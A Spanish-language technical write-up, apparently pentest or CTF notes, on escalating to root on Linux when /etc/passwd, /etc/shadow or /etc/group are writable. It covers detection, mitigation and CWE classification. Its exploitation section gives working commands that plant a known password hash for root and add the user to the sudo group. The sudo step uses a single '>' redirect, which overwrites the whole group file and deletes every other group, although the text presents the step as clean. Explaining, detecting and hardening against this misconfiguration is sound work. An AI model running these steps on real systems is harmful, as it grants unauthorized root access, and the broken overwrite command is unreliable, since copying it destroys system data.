1. Descripción técnica del ataque
Esta técnica de escalada de privilegios abusa de permisos incorrectos sobre archivos críticos del sistema que definen usuarios, contraseñas y grupos. Cuando uno de estos ficheros es escribible por un usuario sin privilegios, este puede modificarlo para obtener acceso como root o como un usuario privilegiado. Los archivos más relevantes son:
/etc/passwd— define las cuentas del sistema. Históricamente podía contener el hash de la contraseña en el segundo campo (xindica que está en/etc/shadow). Si es escribible, se puede:- Reemplazar la
xderootpor un hash de contraseña conocido (generado conopenssl passwd). - Añadir un nuevo usuario con UID 0.
- Reemplazar la
/etc/shadow— contiene los hashes reales de las contraseñas. Si es escribible (o legible y se crackea), se puede sustituir el hash derootpor uno propio o por una contraseña vacía. El gruposhadowotorga lectura sobre este archivo./etc/group— define los grupos. Si es escribible, un usuario puede auto-asignarse a grupos privilegiados comosudo,rootoshadow.
2. Impacto de la vulnerabilidad
- Escalada a root de forma directa y fiable.
- Persistencia trivial (cuenta con UID 0 o contraseña conocida).
- En el caso de
/etc/group, acceso a grupos que habilitan otras vías (p. ej.sudoo lectura de/etc/shadow).
3. Historia y evolución
- Es una clase de error de configuración tan antigua como el modelo de permisos de Unix.
- Sigue siendo muy común en CTFs y en sistemas con permisos mal endurecidos (a menudo introducidos por scripts de despliegue descuidados).
4. Factores que la hacen posible
- Permisos de escritura para usuarios no privilegiados sobre
/etc/passwd,/etc/shadowo/etc/group. - Pertenencia a grupos como
shadow(lectura de hashes) por una asignación incorrecta. - Falta de controles de integridad sobre estos archivos.
5. Detección
ls -l /etc/passwd /etc/shadow /etc/group
id # ¿pertenezco a grupos como shadow, sudo, adm...?
find / -writable -type f 2>/dev/null | grep -E '/etc/(passwd|shadow|group)'Herramientas como LinPEAS señalan automáticamente estos archivos cuando son escribibles.
6. Mitigación
- Restaurar los permisos correctos:
/etc/passwdy/etc/groupdeben ser644 root:root;/etc/shadowdebe ser640 root:shadow(sin escritura para otros). - Revisar las pertenencias a grupos sensibles (
shadow,sudo,adm,disk). - Auditar los scripts de despliegue que tocan estos ficheros.
- Usar herramientas de integridad (AIDE, auditd) para detectar cambios.
7. Ejemplo de explotación real
Caso /etc/passwd escribible: generamos un hash y reemplazamos el campo de contraseña de root:
❯ openssl passwd -1
Password: 1234
$1$pIbEKbAQ$hpMd40txGbBrL.iqh.6/51
# en la víctima, editar /etc/passwd:
root:$1$pIbEKbAQ$hpMd40txGbBrL.iqh.6/51:0:0:root:/root:/bin/bash
$ su root # contraseña: 1234Caso /etc/group escribible: nos añadimos al grupo sudo:
lancer@lower:~$ echo 'sudo:x:27:lancer' > /etc/group
lancer@lower:~$ su lancer # recargar grupos
lancer@lower:~$ id
uid=1000(lancer) ... grupos=1000,27(sudo)
lancer@lower:~$ sudo bash
root@lower:/home/lancer#Caso /etc/shadow escribible (grupo shadow): sustituimos el hash de root por uno de contraseña vacía:
❯ openssl passwd -1 # con contraseña vacía
$1$3rtnhbQf$d6bF.2.8NcXKURXi.E8fg/
# en la víctima, editar /etc/shadow:
root:$1$3rtnhbQf$d6bF.2.8NcXKURXi.E8fg/:20134:0:99999:7:::
$ su root # contraseña vacía8. Clasificación
- Tipo: Privilege Escalation / Incorrect Permission Assignment
- CWE:
- CWE-732 – Incorrect Permission Assignment for Critical Resource
- CWE-276 – Incorrect Default Permissions
9. Resumen
Cuando /etc/passwd, /etc/shadow o /etc/group son escribibles por usuarios sin privilegios (o se pertenece al grupo shadow), se puede escalar a root insertando un hash conocido, añadiendo una cuenta UID 0 o auto-asignándose a grupos privilegiados. La defensa es restaurar permisos correctos y auditar pertenencias a grupos. Relacionado con LD_PRELOAD Pivesc y otras escaladas locales.